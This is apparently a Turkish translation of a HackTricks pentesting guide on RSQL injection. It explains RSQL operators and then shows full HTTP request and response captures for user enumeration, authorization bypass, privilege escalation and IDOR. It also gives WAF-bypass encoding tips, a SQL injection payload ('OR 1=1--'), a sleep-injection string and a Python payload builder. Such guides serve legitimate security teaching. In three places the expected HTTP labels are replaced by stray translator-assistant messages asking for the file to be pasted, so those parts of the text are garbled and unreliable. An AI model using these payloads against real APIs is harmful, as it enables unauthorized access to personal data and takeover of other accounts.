RSQL Injection

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

RSQL nedir?

RSQL, RESTful API’lerdeki girdilerin parametrik filtrelenmesi için tasarlanmış bir sorgu dilidir. FIQL (Feed Item Query Language) tabanlı olup, başlangıçta Atom feeds’i sorgulamak için Mark Nottingham tarafından tanımlanmıştır. RSQL, sadeliği ve karmaşık sorguları HTTP üzerinden kompakt ve URI-uyumlu bir şekilde ifade etme yeteneğiyle öne çıkar. Bu özellik, onu REST endpoint aramaları için genel bir sorgu dili olarak mükemmel bir seçim yapar.

Genel Bakış

RSQL Injection, RSQL’i RESTful API’lerde sorgu dili olarak kullanan web uygulamalarında görülen bir zafiyettir. SQL Injection ve LDAP Injection ile benzer şekilde, bu zafiyet RSQL filtreleri doğru şekilde sanitize edilmediğinde ortaya çıkar; saldırganın yetkisiz olarak verilere erişmesine, değiştirmesine veya silmesine olanak tanıyan kötü niyetli sorgular enjekte etmesine izin verir.

Nasıl çalışır?

RSQL, RESTful API’lerde gelişmiş sorgular oluşturmanıza olanak tanır, örneğin:

/products?filter=price>100;category==electronics

Bu, fiyatı 100’den büyük ve kategorisi “elektronik” olan ürünleri filtreleyen yapılandırılmış bir sorguya karşılık gelir.

Eğer uygulama kullanıcı girdisini doğru şekilde doğrulamazsa, bir saldırgan filtreyi manipüle ederek beklenmeyen sorgular çalıştırabilir, örneğin:

/products?filter=id=in=(1,2,3);delete_all==true

Hatta Boolean sorguları veya iç içe alt sorgular kullanarak hassas bilgileri çıkarmak için de kötüye kullanılabilir.

Riskler

  • Hassas verilerin açığa çıkması: Bir saldırgan erişilmemesi gereken bilgileri elde edebilir.
  • Veri değiştirme veya silme: Veritabanı kayıtlarını değiştiren filtrelerin enjekte edilmesi.
  • Yetki yükseltme: Filtreler aracılığıyla rolleri veren tanımlayıcıların manipüle edilmesi; uygulamayı kandırarak başka bir kullanıcının ayrıcalıklarıyla erişim sağlama.
  • Erişim kontrollerinin atlatılması: Filtrelerin manipüle edilerek kısıtlı verilere erişilmesi.
  • Taklit veya IDOR: Filtreler aracılığıyla kullanıcılar arasındaki tanımlayıcıların değiştirilmesi; doğru şekilde kimlik doğrulanmadan diğer kullanıcıların bilgi ve kaynaklarına erişim sağlanması.

Desteklenen RSQL operatörleri

OperatorDescriptionExample
; / andMantıksal AND operatörü. Her iki koşulun da doğru olduğu satırları filtreler/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orMantıksal OR operatörü. En az bir koşulun doğru olduğu satırları filtreler/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Bir eşitlik sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue ile tam olarak eşleştiği tüm satırları döndürür/api/v2/myTable?q=columnA==queryValue
=q=Bir arama sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue’yu içerdiği tüm satırları döndürür/api/v2/myTable?q=columnA=q=queryValue
=like=Bir like sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue ile benzer olduğu tüm satırları döndürür/api/v2/myTable?q=columnA=like=queryValue
=in=Bir in sorgusu gerçekleştirir. myTable’den columnA’nın valueA VEYA valueB içerdiği tüm satırları döndürür/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Bir hariç tutma sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin ne valueA ne de valueB olduğu tüm satırları döndürür/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Bir eşit değil sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue ile eşit olmadığı tüm satırları döndürür/api/v2/myTable?q=columnA!=queryValue
=notlike=Bir not like sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue ile benzer olmadığı tüm satırları döndürür/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Bir küçüktür sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue’dan daha küçük olduğu tüm satırları döndürür/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Bir küçük veya eşit sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue’ya küçük veya eşit olduğu tüm satırları döndürür/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Bir büyüktür sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue’dan daha büyük olduğu tüm satırları döndürür/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Bir eşit veya büyük sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin queryValue’ya eşit veya daha büyük olduğu tüm satırları döndürür/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Bir aralık sorgusu gerçekleştirir. myTable’den columnA içindeki değerlerin fromValue’a eşit veya ondan büyük ve toValue’ya küçük veya ona eşit olduğu tüm satırları döndürür/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Not: Tablo MOLGENIS ve rsql-parser uygulamalarından alınan bilgilere dayanmaktadır.

Örnekler

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Not: Tablo rsql-parser uygulamasından alınan bilgilere dayanmaktadır.

Yaygın filtreler

Bu filtreler API sorgularını daraltmaya yardımcı olur:

FilterAçıklamaExample
filter[users]Belirli kullanıcılara göre sonuçları filtreler/api/v2/myTable?filter[users]=123
filter[status]Duruma göre (active/inactive, completed, vb.) filtreler/api/v2/orders?filter[status]=active
filter[date]Belirli bir tarih aralığındaki sonuçları filtreler/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Kategoriye veya kaynak türüne göre filtreler/api/v2/products?filter[category]=electronics
filter[id]Benzersiz bir kimliğe göre filtreler/api/v2/posts?filter[id]=42

Yaygın parametreler

Bu parametreler API yanıtlarını optimize etmeye yardımcı olur:

ParameterAçıklamaExample
includeYanıtta ilişkili kaynakları dahil eder/api/v2/orders?include=customer,items
sortSonuçları artan veya azalan sırada sıralar/api/v2/users?sort=-created_at
page[size]Sayfa başına gösterilecek sonuç sayısını kontrol eder/api/v2/products?page[size]=10
page[number]Sayfa numarasını belirtir/api/v2/products?page[number]=2
fields[resource]Yanıtta döndürülecek alanları tanımlar/api/v2/users?fields[users]=id,name,email
searchDaha esnek bir arama gerçekleştirir/api/v2/posts?search=technology

Bilgi sızıntısı ve kullanıcıların keşfi

Aşağıdaki istek, kayıt endpoint’inin email parametresinin, veritabanında o e-posta ile kayıtlı bir kullanıcı olup olmadığını kontrol etmek için gerektiğini ve var olup olmamasına bağlı olarak true veya false döndürdüğünü gösterir:

İstek

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Çevirmemi istediğiniz src/pentesting-web/rsql-injection.md dosyasının içeriğini buraya yapıştırın. Ben yalnızca uygun İngilizce metni Türkçeye çevireceğim; kod, teknik terimler, linkler, tag’ler ve yollar çevrilmeyecek.

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Normalde /api/registrations?email=<emailAccount> beklenmesine rağmen, özel operatörler kullanılarak RSQL filtreleri ile kullanıcı bilgilerini enumerate ve/veya extract etmeyi denemek mümkündür:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Geçerli bir e‑posta hesabıyla eşleşme durumunda, uygulama server’a döndürülecek yanıtta klasik “true”, “1” veya benzeri bir değer yerine kullanıcının bilgilerini döndürecektir:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

Bu senaryoda, temel role sahip bir kullanıcıdan başlıyoruz ve veritabanına kayıtlı tüm kullanıcıların listesini görüntülemek için ayrıcalıklı izinimiz (e.g. administrator) yok:

İstek

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Yine filtreler ve erişim kontrolünü atlatmamıza olanak veren özel operatörleri kullanarak kullanıcı bilgilerine alternatif bir yoldan erişiyoruz. Örneğin, kullanıcı ID’lerinde “a” harfini içeren kullanıcıları filtrelemek için:

İstek

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Belirli endpoints’lerin rol üzerinden kullanıcı ayrıcalıklarını kontrol ettiği durumlarla karşılaşmak oldukça olasıdır. Örneğin, hiç ayrıcalığı olmayan bir kullanıcıyla karşı karşıyayız:

İstek

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Belirli operatörleri kullanarak yönetici kullanıcıları listeleyebiliriz:

İstek

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Bir yönetici kullanıcının tanımlayıcısını öğrendikten sonra, ilgili filtreyi yöneticinin tanımlayıcısı ile değiştirerek veya ekleyerek aynı ayrıcalıkları elde etmeye yönelik bir privilege escalation gerçekleştirilebilir:

İstek

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Çevirmemi istediğiniz src/pentesting-web/rsql-injection.md dosyasının içeriğini buraya yapıştırın. Kod, link, yollar ve markdown/html etiketlerini değiştirmeyeceğim; sadece İngilizce metinleri Türkçeye çevireceğim.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

filter parametresinin kullanımına ek olarak, sonuçlara belli parametreleri (ör. dil, ülke, parola…) dahil etmeye olanak veren include gibi diğer parametreler de kullanılabilir.

Aşağıdaki örnekte kullanıcı profilimize ait bilgiler gösterilmektedir:

İstek

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Yanıt

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Filtrelerin kombinasyonu, yetkilendirme kontrolünden kaçmak ve diğer kullanıcıların profillerine erişim sağlamak için kullanılabilir:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Belirtilen dosya içeriği elime ulaşmadı. Lütfen src/pentesting-web/rsql-injection.md dosyasının markdown içeriğini buraya yapıştırın; gelen içeriği verdiğiniz kurallara uygun olarak Türkçeye çevireceğim (kod, etiketler, linkler ve yollar çevrilmeyecek).

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Tespit & fuzzing hızlı kazanımlar

  • RSQL desteğini ?filter=id==test, ?q==test gibi zararsız probe’lar veya bozuk operatörler =foo= göndererek kontrol edin; verbose API’ler genellikle parser hatalarını leak eder (“Unknown operator” / “Unknown property”).
  • Birçok uygulama URL parametrelerini çift parse eder; basit blocklist’leri ve WAF’ları atlatmak için (, ), *, ; karakterlerini double-encoding deneyin (ör. %2528admin%2529).
  • Joker karakterlerle Boolean exfil: filter[users]=email==*%@example.com;status==ACTIVE ve mantığı , (OR) ile ters çevirerek yanıt boyutlarını karşılaştırın.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01) tam ID’leri bilmeden yıl bazında hızlıca enumerate eder.

Framework’e özgü kötüye kullanım (Elide / JPA Specification / JSON:API)

  • Elide ve birçok Spring Data REST projesi RSQL’i doğrudan JPA Criteria’ye çevirir. Geliştiriciler özel operatörler (ör. =ilike=) ekleyip predicate’leri prepared parameters yerine string birleştirme ile oluşturuyorsa, SQLi’ye pivot yapabilirsiniz (klasik payload: name=ilike='%%' OR 1=1--').
  • Elide analytic data store parameterized columns kabul eder; kullanıcı kontrollü analytic param’ları RSQL filtreleriyle birleştirmek CVE-2022-24827’deki SQLi’nin temel nedeni oldu. Patchlenmiş sürümler doğru şekilde parameterize etse bile, benzer özel kod genellikle kalır — ${} içeren @JoinFilter/@ReadPermission SpEL ifadelerini arayın ve ';sleep(5);' veya mantıksal tautolojiler enjekte etmeyi deneyin.
  • JSON:API backend’leri genellikle hem include hem filter açığa çıkarır. İlişkili kaynaklar üzerinde filtreleme filter[orders]=customer.email==*admin* üst seviye ACL’leri atlatabilir çünkü ilişki-seviyesi filtreler ownership kontrollerinden önce çalışır.

Otomasyon yardımcıları

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE" payload’ları yerel olarak doğrular ve abstract syntax tree’i gösterir — parantez dengesini ve özel operatörleri oluşturmak için faydalıdır.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • HTTP fuzzer (ffuf, turbo-intruder) ile eşleştirerek, wildcard pozisyonlarını *a*, *e* vb. =in= listeleri içinde yineleyerek ID’leri ve e-postaları hızlıca listeleyin.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin